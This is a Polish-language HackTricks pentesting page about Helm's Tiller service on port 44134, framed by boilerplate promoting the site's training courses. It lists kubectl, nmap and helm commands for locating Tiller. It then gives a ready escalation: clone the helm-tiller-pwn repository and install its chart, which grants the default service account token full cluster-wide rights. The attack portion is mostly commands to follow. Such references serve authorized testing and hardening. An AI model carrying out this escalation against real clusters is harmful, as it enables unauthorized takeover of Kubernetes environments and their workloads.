tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Helm to menedżer pakietów dla Kubernetes. Umożliwia pakowanie plików YAML i dystrybucję ich w publicznych i prywatnych repozytoriach. Te pakiety nazywane są Helm Charts. Tiller to usługa działająca domyślnie na porcie 44134, oferująca tę usługę.
Domyślny port: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeracja
Jeśli możesz enumerować pody i/lub usługi różnych przestrzeni nazw, enumeruj je i szukaj tych z "tiller" w ich nazwie:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Przykłady:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Możesz również spróbować znaleźć tę usługę, sprawdzając port 44134:
sudo nmap -sS -p 44134 <IP>
Gdy już to odkryjesz, możesz się z nim komunikować, pobierając aplikację kliencką helm. Możesz użyć narzędzi takich jak homebrew, lub spojrzeć na oficjalną stronę wydań. Aby uzyskać więcej szczegółów lub inne opcje, zobacz przewodnik instalacji.
Następnie możesz enumerować usługę:
helm --host tiller-deploy.kube-system:44134 version
Eskalacja uprawnień
Domyślnie Helm2 został zainstalowany w namespace kube-system z wysokimi uprawnieniami, więc jeśli znajdziesz usługę i masz do niej dostęp, może to pozwolić ci na eskalację uprawnień.
Wszystko, co musisz zrobić, to zainstalować pakiet taki jak ten: https://github.com/Ruil1n/helm-tiller-pwn, który da domyślnemu tokenowi usługi dostęp do wszystkiego w całym klastrze.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
W http://rui0.cn/archives/1573 masz wyjaśnienie ataku, ale zasadniczo, jeśli przeczytasz pliki clusterrole.yaml i clusterrolebinding.yaml w helm-tiller-pwn/pwnchart/templates/ możesz zobaczyć, jak wszystkie uprawnienia są przyznawane domyślnemu tokenowi.
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks